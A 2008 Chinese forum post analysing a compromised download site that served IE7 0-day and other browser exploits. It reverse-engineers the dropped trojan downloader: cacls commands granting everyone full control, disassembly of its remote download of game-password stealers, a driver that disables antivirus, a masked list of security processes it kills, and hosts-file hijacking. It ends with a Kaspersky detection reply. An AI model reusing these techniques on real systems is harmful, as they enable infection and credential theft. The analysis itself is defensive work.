拦截到一个利用IE70day 挂病毒的网站+样本分析提取今天晚上逛网页时.到了一个软体下载网站..发现网站被人挂恶意病毒.刚好也有点时间就动手分析一下手法利用弱点..并抓取样本回报给公司.看来不少人去逛了那网站无缘无故又遭殃中毒了! 几乎都是主流漏洞.在次停醒各位~这几天别乱逛网站.因为此漏洞还没有修正.也记得随时更新您的系统和扫毒软体!
以下是解密后的提取的link (因为预防各位误点~所以网址做了处理).
[wide]http://www.h***4.cn
[frame]http://www.h***4.cn/fl.htm
[frame]http://www.h***4.cn/i1.html
http://www.h***4.cn/ii115.swf
http://www.h***4.cn/i47.swf
http://www.h***4.cn/i16.swf
http://www.h***4.cn/i45.swf
http://www.h***4.cn/i64.swf
http://www.h***4.cn/i28.swf
http://www.h***1.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
[frame]http://www.h***4.cn/f2.html
http://www.h***4.cn/ff115.swf
http://www.h***4.cn/f28.sw
http://www.h***4.cn/f16.swf
http://www.h***4.cn/f45.swf
http://www.h***4.cn/f64.swf
http://www.h***4.cn/f47.sw
http://www.h***1.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
[frame]http://www.h***4.cn/cx.htm -> 超星浏览器4.0漏洞 Ultra Star Reader 4.0
http://www.h***1.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
[frame]http://www.h***4.cn/ie7.htm -> for ie7~(Microsoft Security Advisory (961051))
Vulnerability in Internet Explorer Could Allow Remote Code Execution
http://www.gd***d.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
[frame]http://www.h***4.cn/06014.htm ->(MS06-14) Microsoft Data Access Components (MDAC)
http://www.h***1.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
[frame]http://www.h***4.cn/ff.htm -> (MS08-041) Microsoft Access Snapshot Viewer ActiveX Control Vulnerability
http://www.h***1.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
[frame]http://www.h***4.cn/xl.htm -> Thunder xunlei kankan pplayer.dll 1.2.3.49 remote overflow
[frame]http://www.h***4.cn/real10.htm -> RealPlayer
http://www.h***1.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
[frame]http://www.h***4.cn/real11.htm -> Real Networks RealPlayer 'rmoc3260.dll' ActiveX
http://www.gd***d.cn/yg.exe (MD5:e9ed86b444ccc3b9dd1c5cbd8ca36647)
利用IE70DAY 漏洞下载的病毒分析了一下 ! 顺便抓取样本 ~ 只有一个字"累"
其余清单的病毒直接送扫毒公司了... 总算又是做一件善事!
以下是分析纪录~有一些细节就不列出来了= =
Virus MD5 hash: 08216af0e00486d27989ee284fc5fa1b
利用命令列来调用cacls
%systemroot%\system32\cmd.exe
/c cacls %systemroot%\system32 /e /p everyone:f
C:\WINDOWS\system32\cmd.exe /c cacls %temp% /e /p everyone:f
Files Added:
%systemroot%\system32\killkb.dll
%systemroot%\system32\drivers\ressdt.sys
%systemroot%\system32\drivers\pcidump.sys
%systemroot%\system32\867.dll
在根目录下建立,已达到随身碟感染目的.
1.exe
autorun.inf
Service Added:
Name:pcidump
ServicesPath:%systemroot%\system32\drivers\pcidump.sys
Name:RESSDT
ServicesPath:%systemroot%\system32\drivers\ressdt.sys
Registry Added:
DisplayName="RESSDT"
key :"HKLM\System\CurrentControlSet\Services\RESSDT"
Value:ImagePath="%systemroot%\system32\drivers\ressdt.sys"
DisplayName"="pcidump"
key :"HKLM\System\CurrentControlSet\Services\pcidump".
Value:"ImagePath"="%systemroot%\System32\DRIVERS\pcidump.sys"
建立病毒互斥对象,判别是否有互斥,防止病毒重复释放
00406675 FF15 0C014300 call dword ptr ds:[43010C] ; kernel32.OpenMutexA
0040667B 85C0 test eax,eax
0040667D 0F85 D2010000 jnz 00406855 ; Virus_.00406855
00406683 68 7CAB4000 push 40AB7C ; ssppoooollssvv
00406688 FF15 08014300 call dword ptr ds:[430108] ; kernel32.GlobalAddAtomA
0040668E 68 7CAB4000 push 40AB7C ; ssppoooollssvv
00406693 6A 00 push 0
00406695 6A 00 push 0
00406697 FF15 04014300 call dword ptr ds:[430104] ; kernel32.CreateMutexA
0040669D 6A 00 push 0
0040669F 68 6CAB4000 push 40AB6C
004066A4 E8 37AEFFFF call 004014E0
Downloads Added:
注入 IEXPLORE.EXE 病毒下载
开始取得清单
00405B5A F3:AB rep stos dword ptr es:[edi]
00405B5C 68 14AA4000 push 40AA14 ; NB0dDqN55bu73YsNM0NumBfYm+VGe+43Fx0ejgAA
00405B61 897424 2C mov dword ptr ss:[esp+2C],esi ; urlmon.URLDownloadToCacheFileA
00405B65 E8 C6BBFFFF call 00401730 ; Virus_.00401730
00405B6A 8D8424 30020000 lea eax,dword ptr ss:[esp+230]
00405B71 50 push eax
00405B72 68 00AA4000 push 40AA00
00405B77 E8 64B9FFFF call 004014E0 ; Virus_.004014E0
00405B7C 8DBC24 38020000 lea edi,dword ptr ss:[esp+238]
00405B83 83C9 FF or ecx,FFFFFFFF
得到解密的网址~~
0012F4B4 00405B6A Virus_.00405B6A
0012F4B8 0040AA14 ASCII "NB0dDqN55bu73YsNM0NumBfYm+VGe+43Fx0ejgAA"
0012F4BC 0012F6E8 ASCII "http://www.h***1.cn/down.txt" <-得到清单后,开始下载木马,也就是下载者
0012F4C0 0012F8CA
0012F4C4 0040AB57 Virus_.0040AB57
病毒清单 (呵~捡到珍多宝物阿!一次给你通杀.好像几乎都是盗号的.)
(预防资料被有心人利用, 用*号替换掉某些字元)
http://www.h***1.cn/02.exe
http://www.h***1.cn/05.exe
http://www.h***1.cn/06.exe
http://www.h***1.cn/07.exe
http://www.h***1.cn/08.exe
http://www.h***1.cn/09.exe
http://www.h***1.cn/10.exe
http://www.h***1.cn/11.exe
http://www.h***1.cn/12.exe
http://www.h***1.cn/13.exe
http://www.h***1.cn/14.exe
http://www.h***1.cn/15.exe
http://www.h***1.cn/16.exe
http://www.h***1.cn/17.exe
http://www.h***1.cn/18.exe
http://www.h***1.cn/19.exe
http://www.h***1.cn/20.exe
http://www.h***1.cn/21.exe
http://www.h***1.cn/22.exe
http://www.h***1.cn/23.exe
http://www.h***1.cn/24.exe
http://www.h***1.cn/25.exe
http://www.h***1.cn/26.exe
http://www.h***1.cn/27.exe
http://www.h***1.cn/28.exe
http://www.h***1.cn/29.exe
http://www.h***1.cn/40.exe
http://www.h***1.cn/or.exe
刷网站流量~估计是统计有多少人中他的木马
004061D9 68 D0AA4000 push 40AAD0 ; NB0dDqN55bu73YsNM0NumBfYm+WXO8U0OlsA
004061DE E8 4DB5FFFF call 00401730 ; Virus_.00401730
004061E3 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
004061E7 51 push ecx
004061E8 68 C4AA4000 push 40AAC4 ; 流量统计
004061ED E8 EEB2FFFF call 004014E0 ; Virus_.004014E0
得到解密的网址~~
013DFE18 004061E3 Virus_.004061E3
013DFE1C 0040AAD0 ASCII "NB0dDqN55bu73YsNM0NumBfYm+WXO8U0OlsA"
013DFE20 013DFE28 ASCII "http://www.h***1.cn/yg.htm" <---刷流量统计
然后开启IE 刷流量~~~~~~~
hook
找寻档案保护对话框,恢复所有SSDT,来到达破坏安全软体主动防御监控RESSDT (RESSDT)找寻档案保护对话框
%systemroot%\system32\drivers\ressdt.sys".
FuncName: NtQuerySystemInformation (来获取系统进程列)
Model Patch:%systemroot%\system32\drivers\pcidump.sys
病毒使用 NtQuerySystemInformation枚举系统进程,对一些安全软体进行关闭动作.
(预防资料被有心人利用, 用*号替换掉某些字元)
36*Saf*.exe
36*Saf*b*x.exe
36*tray.exe
AgentSvr.exe
ALG.EXE
ant*arp.exe
ANT*-TR*JAN.exe
ant*v*r.exe
AUT***WN.exe
aut*run.*nf
AV*SERV.exe
avp.exe
AVPUP*.exe
AVS*HE*32.exe
avsynmgr.exe
AV**N95.exe
**enter.exe
*F*AU**T.exe
*F*N*.exe
*f*net.exe
*f*net32.exe
*ebu.exe
*V95.exe
*V95_*.exe
*VP95.exe
egu*.exe
e*rn.exe
expl*rer.exe
*expl*re.exe
JE*.exe
*aba**rep*rt.exe
*asma*n.exe
*av32.exe
*avstart.exe
**ssv*.exe
*PFW32.exe
*pfw32.exe
*pfwsv*.exe
*PPMa*n.exe
*RF.exe
*VM*nXP.exe
*VPreS*an.exe
*wat*h.exe
luall.exe
LU**MSERVER.exe
m*af*e.exe
M*NASv*.exe
M*Pr*xy.exe
M*sh*el*.exe
m*n.exe
m*n**er.exe
M**L*VE.exe
MpfSrv.exe
N32A*AN.exe
navapsv*.exe
navapw32.exe
NAVLU32.exe
NAVNT.exe
navrunr.exe
NAVS*HE*.exe
NAV*.exe
NAV*32.exe
naV*nt.exe
P***l*ent.exe
p**gu**e.exe
p****m*n.exe
p**ma*n.exe
p**w*n98.exe
P*FWALL***N.exe
p***ump
PERSFW.exe
p*p3trap.exe
PpPpWallRun.exe
pr*gram.exe
pr*t.exe
pv*ew95.exe
QQ***t*r.exe
ras.exe
R*V.exe
R*V7.exe
R*V7w*n.exe
R*VM*n.exe
R*VM*n*.exe
R*VStub.exe
R*VTas*.exe
res*ue32.exe
Rfw.exe
RsTray.exe
saf*b*xTray.exe
saf*web.exe
s*am32.exe
s*an.exe
S*AN32.exe
S*ANPM.exe
s**n.exe
S*RS*AN.exe
se*u.exe
SERV95.exe
s*r*32.exe
SM*.exe
smtpsv*.exe
SPH*NX.exe
spy.exe
SWEEP95.exe
TBS*AN.exe
T*A.exe
T*S2-98.exe
T*S2-NT.exe
Tmntsrv.exe
TM*Agent.exe
tmpr*xy.exe
tmup**t*.exe
TS*.exe
Ul*b*fg.exe
urlm*n
vavrunr.exe
VET95.exe
VETTRAY.exe
v*r.exe
VP*32.exe
VSE**MR.exe
vshw*n32.exe
VSHW*N32.exe
vsstat.exe
WEBS*AN.exe
WEBS*ANX.exe
webtrap.exe
WF*N*V32.exe
w*n**ws优化大师.exe
w*n*.exe
z*nealarm.exe
Z*NEALARM.exe
Files modified:
%systemroot%\system32\drivers\etc\hosts
修改host 挟持 127.0.X.X ~要让中毒者无法访问这些网站.
然后破坏掉一些安全软体的更新所需网址
(预防资料被有心人利用, 用*号替换掉某些字元)
v.onon*own.*om.*n
yms**s*w*.*n
h**b.info
fu*k.zttwp.*n
www.h**kerbf.*n
geekbyf*ng.*n
*2*.*4.*0*.*8
ppp.etimes*88.*om
www.bypk.*om
*S**-2004-*rl.verisign.*om
v**s*hun2*.*n
u*p.hjob*2*.*om
bn*sn*8*n*.*n
www.g*meh**ker.*om.*n
g*meh**ker.*om.*n
**l*ji.*n
858*5*.*om
bn*sn*8*n*.*n
my*2*.*om
user*.*2-27.net
874*.*om
fengent.*n
4***.*om
user*.**-22.net
7*7*.*om
2be*7*5f.*f*e2**5f0b.*om
7255.*om
user*.2*-*2.net
*448.*om
www.gu**i*.net
7***.*om
*.o*o*o*.nEt
800*.*om
user*.*2-7*.*n
pi*oxue.*om
*n8nl*s*.*n
kz*h.*om
www.sony888.*n
*bout.bl*nk.l*
user*.*sp-**.*n
*78*.*om
www.netkwek.*n
7*22.*om
yms*k***.*n
lo**lhost
www.lkwueir.*n
0*.j***i.*om
user*.2*-*7.net
*.jopenkk.*om
up*.luzhi*i.net
*.jopenq*.*om
www.gu**i*.net
*.joppnqq.*om
4m*mnlmi.*n
*.xqhgm.*om
mm***mkss*.*n
*00.**22**.*om
**.*28.*7*.**5:8080
*2*.**.*0.7*
www.*******.*om
*2*5*5.net
win.nih*o**.*n
*25.*0.88.*8
**888.*to2*.*om
2.joppnqq.*om
pu*.li*nxi**.net
204.*77.*2.*8
pu*.li*nxi**.net
2*0.74.*45.2**
2*0.7*.0.***
2**.*2*.2**.220
**.***.*2.2
2**.*5*.40.22*
2*8.*2.*8*.27
2**.*5*.4*.27
www.fsfsf*g.*n
2**.*5*.52.*2*
ovo.ovovov.*n
22*.**5.42.7*
*w.*om.*om
222.7*.2*8.**5
20*.**0.**8.2**:80
*.joppnqq.*om
20*.**0.**8.22*:80
***xx.*om
www*.ip*008*.*om.*m
4***.*om
blog.ip*008*.*om.*n
4*242.*om
www.**ji*8.*n
5.xqhgm.*om
t.mybl*nk.*n
520.mm5208.*om
x.mybl*nk.*n
5*.*4.***.54
2*0.5*.45.5
5*.*4.**8.228
www.ew*q.*n
5*.*4.**8.88
5*.*4.**8.*7
*0.**0.**4.*0*
*0.**0.2*8.*4
qq-xing.*om.*n
*0.***.*24.252
**.*45.**7.2*2
**.*57.*0*.222
75.*2*.*.2**
75.*2*.*.2*7
75.*2*.*.2*8
5*.*25.2**.*77:*7777
75.*2*.*.220
75.*2*.*.22*
75.*2*.*.222
772**0.*om
8*282*.*n
874*.*om
888.jopenq*.*om
8**82.*n
8v8.biz
*7725.*om
*gg.biz
www.*000musi*.*om
test.5**jx.*om
*.topxxxx.*n
pi*on.*hin*ren.*om
www.55**.net
p.qqkx.*om
news.net*n*tv.*om
z.neter888.*n
b.mybl*nk.*n
wvw.wokutu.*om
union*h.qyule.*om
www.*yule.*om
it.itj*.*n
www.link*ww.*om
vo*.k*i*n.*om
www.tx8*88.*om
b.neter888.*n
promote.hu*nqiu.*om
www.hu*nqiu.*om
www.h*ok*nl*.*om
pl*y.unionsky.*n
www.52v.*om
www.gghk*.*n
i*on.*ji*ng.net
new.ete.*n
www.sti*e.*n
o.neter888.*n
*omm.jinti.*om
www.google-*n*lyti*s.*om
hz.mmst*t.*om
www.g*me*75.*n
x.neter888.*n
z.neter888.*n
p.etimes888.*om
hx.etimes888.*om
*b*.qqkx.*om
*m.pop*m.*n
www.yl****.*om
www.**ji**oushe.*n
v.onon*own.*om.*n
www.interoo.net
b*lly*.b*lly-b*lly.net
www.b*o5*0550*.*n
www.rty45*.*n
www.werqwer.*n
*.**0-*.*n
user*.2*-**.net
www.gu**i*.net
www.interoo.net
up*.netsool.net
js.users.5*.l*
vip2.5*.l*
web.5*.l*
qq.gong2008.*om
2008tl.*opyip.*om
tl*.l*ozihuol*ile.*n
www.tx*8*8.*n
p00*.tilo*i*i.*om
s*.tl8tl.*om
s*.gong2008.*om
4b**e5*f*g.*f*e2**5f0b.*om
2be*7*5f.*f*e2**5f0b.*om
Hello,
02.exe_ - Trojan-GameThief.Win32.OnLineGames.txro,
05.exe_ - Trojan-GameThief.Win32.OnLineGames.txrp,
07.exe_ - Trojan-GameThief.Win32.OnLineGames.txgg,
08.exe_ - Trojan-GameThief.Win32.OnLineGames.txrq,
09.exe_ - Trojan-GameThief.Win32.OnLineGames.txsl,
10.exe_ - Trojan-GameThief.Win32.OnLineGames.twwo,
11.exe_ - Trojan-GameThief.Win32.OnLineGames.txrs,
12.exe_ - Trojan-GameThief.Win32.OnLineGames.txsg,
14.exe_ - Trojan-GameThief.Win32.OnLineGames.txgs,
15.exe_ - Trojan-GameThief.Win32.OnLineGames.txsa,
16.exe_ - Trojan-GameThief.Win32.OnLineGames.txox,
17.exe_ - Trojan-GameThief.Win32.Magania.gen,
18.exe_ - Trojan-GameThief.Win32.OnLineGames.txsh,
19.exe_ - Trojan-Dropper.Win32.Agent.abjm,
20.exe_ - Trojan-GameThief.Win32.OnLineGames.txti,
21.exe_ - Trojan-GameThief.Win32.OnLineGames.txrr,
23.exe_ - Trojan-GameThief.Win32.OnLineGames.txgj,
27.exe_ - Trojan-GameThief.Win32.OnLineGames.txjc,
29.exe_ - Trojan-GameThief.Win32.OnLineGames.txjw,
or.exe_ - Trojan-Downloader.Win32.Small.wuc
These files are already detected. Please update your antivirus bases.
06.exe_ - Trojan-GameThief.Win32.OnLineGames.txut,
13.exe_ - Trojan-GameThief.Win32.Magania.anje,
22.exe_ - Trojan-GameThief.Win32.OnLineGames.txuu,
24.exe_ - Trojan-GameThief.Win32.OnLineGames.txuv,
25.exe_ - Trojan-GameThief.Win32.OnLineGames.txuw,
26.exe_ - Trojan-GameThief.Win32.OnLineGames.txux,
28.exe_ - Trojan-GameThief.Win32.OnLineGames.txuj,
40.exe_ - Trojan.Win32.Agent.avdh
New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.
Please quote all when answering.
The answer is relevant to the latest bases from update sources.
--
Best regards, Ilya Tolstikhin
Virus analyst, Kaspersky Lab.
[ 本帖最后由 domino 于 2008-12-15 00:43 编辑 ] |
发表于 2008-12-15 00:39:54
发表于 2008-12-15 01:48:46
